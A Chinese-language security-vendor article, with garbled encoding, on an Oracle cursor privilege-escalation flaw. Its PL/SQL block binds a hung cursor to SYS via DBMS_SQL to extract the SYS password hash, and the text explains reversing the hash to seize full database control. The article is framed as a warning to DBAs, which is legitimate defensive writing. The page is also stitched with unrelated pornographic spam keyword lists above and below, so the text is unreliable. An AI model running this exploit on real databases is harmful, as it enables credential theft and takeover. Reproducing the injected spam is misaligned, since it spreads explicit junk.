欧美精品一区二区,体育生GAY白袜调教VIDEO,私人影院播放器,色偷偷AV老熟女色欲涩爱

?
內(nèi)容中心
按關(guān)鍵字查找
Oracle數(shù)據(jù)庫(kù)游標(biāo)帶來(lái)的安全隱患之游標(biāo)提權(quán)漏洞
作者:安華金和 發(fā)布時(shí)間:2017-01-20

前文中我們提到Oracle游標(biāo)的數(shù)據(jù)庫(kù)安全隱患之一,如果由于人為原因沒(méi)有及時(shí)關(guān)閉游標(biāo),黑客可以通過(guò)對(duì)制造異常,使游標(biāo)持續(xù)處于被掛起狀態(tài),然后進(jìn)行惡意代碼注入。再利用游標(biāo)自身的高權(quán)限執(zhí)行惡意代碼,進(jìn)行越權(quán)或者非法提權(quán)操作。本文我們針對(duì)游標(biāo)提權(quán)漏洞進(jìn)行實(shí)例分析。

游標(biāo)提權(quán)漏洞就是在上面的基礎(chǔ)上利用被掛起的游標(biāo),通過(guò)類似DBMS_SQL這種由系統(tǒng)定義的包,把游標(biāo)語(yǔ)句和高權(quán)限用戶進(jìn)行綁定。接著上面的例子通過(guò)DBMS_SQL綁定SYS,用戶直接獲取SYS的密碼HASH。

SQL> DECLARE

  2  CURSOR_NAME INTEGER;

  3  I INTEGER;

  4  PWD VARCHAR2(30);

  5  BEGIN

  6  CURSOR_NAME:=3241423;

  7  DBMS_SQL.BIND_VARIABLE(CURSOR_NAME,':schina','SYS');

  8  DBMS_SQL.DEFINE_COLUMN(CURSOR_NAME,1,PWD,30);

  9  I:=DBMS_SQL.EXECUTE(CURSOR_NAME);

 10  IF DBMS_SQL.FETCH_ROWS(CURSOR_NAME)>0 THEN

 11     DBMS_SQL.COLUMN_VALUE(CURSOR_NAME,1,PWD);

 12  END IF;

 13  DBMS_SQL.CLOSE_CURSOR(CURSOR_NAME);

 14  DBMS_OUTPUT.PUT_LINE ('PWD:'||PWD);

 15  END;

 16  /


上述代碼是在獲取游標(biāo)值的前提下進(jìn)行的,因此在代碼聲明的地方寫入游標(biāo)值3241423。使用DBMS_SQL中的BIND_VARIABLE(cursor_name,':schina',sys)將游標(biāo)和SYS用戶綁定。這樣執(zhí)行查詢SYS用戶。后臺(tái)數(shù)據(jù)庫(kù)真正運(yùn)行的語(yǔ)句是:select password from sys.dba_users where username='sys'。DBMS_SQl.define_column函數(shù)的作用是將游標(biāo)中第一列的值返回給PWD變量。黑客在執(zhí)行完上述匿名塊后,系統(tǒng)結(jié)果返回SYS密碼的HASH散列,使用HASH逆向工具進(jìn)行轉(zhuǎn)換就可以獲得SYS密碼明文,直接奪取數(shù)據(jù)庫(kù)最高權(quán)限。

至此,對(duì)游標(biāo)漏洞的提權(quán)完成,黑客獲取數(shù)據(jù)庫(kù)最高權(quán)限,那么真正的數(shù)據(jù)庫(kù)安全危機(jī)也正式爆發(fā)。利用數(shù)據(jù)庫(kù)最高權(quán)限,黑客可以對(duì)數(shù)據(jù)庫(kù)中的核心數(shù)據(jù)整庫(kù)拿走或進(jìn)行增刪改查等關(guān)鍵動(dòng)作,造成一系列嚴(yán)重后果。通過(guò)此文的分析,希望對(duì)DBA等數(shù)據(jù)庫(kù)管理人員予以警示。


?
国产人妻精品一区二区三区不卡| 日韩电影一区二区三区| 做床爱30分钟免费观看| 自拍 亚洲 综合 另类小说| 诱人的大乳BD在线观看| 成人免费视频| 99精品视频一区在线观看| 娇妻当着我的面被4p| 大内密探零零性| 自拍 亚洲 综合 另类小说| 国产成人午夜高潮毛片| 永久免费不卡在线观看黄网站| 好姑娘在线观看完整视频高清| 成人午夜特黄aaaaa片男男| 被喂春药蹂躏的欲仙欲死视频| 裸身美女无遮挡永久免费视频| 丰满少妇a级毛片| 小秘书夹得真紧好爽h调视频| 国产又色又爽又刺激在线观看| 波多野结衣的电影| 国产精品9999久久久久仙踪林| 40岁了水还特别多怎么回事| 50多岁岳不让我戴套| 欧美疯狂做受xxxxx高潮| 无限资源在线观看片中文在线 | 欧美人妻www无码国产黄漫| 刺激videoschina偷拍| 美国色情巜肉欲横流| 成人乱人乱一区二区三区| 去男朋友宿舍被室友4p| 曰本胸大巨胸做爰视频| 一女侍七夫巨h双修| 亚洲av无码成人精品久久久蜜| 国产福利视频在线观看| 久久综合伊人77777麻豆| 一女三黑人玩4p惨叫| 亚洲第一av网站| 白嫩人妻娇喘欲仙欲死| 国模冰冰大胆瓣开下部| 日韩精品在线观看| 高h喷水荡肉爽文公交车|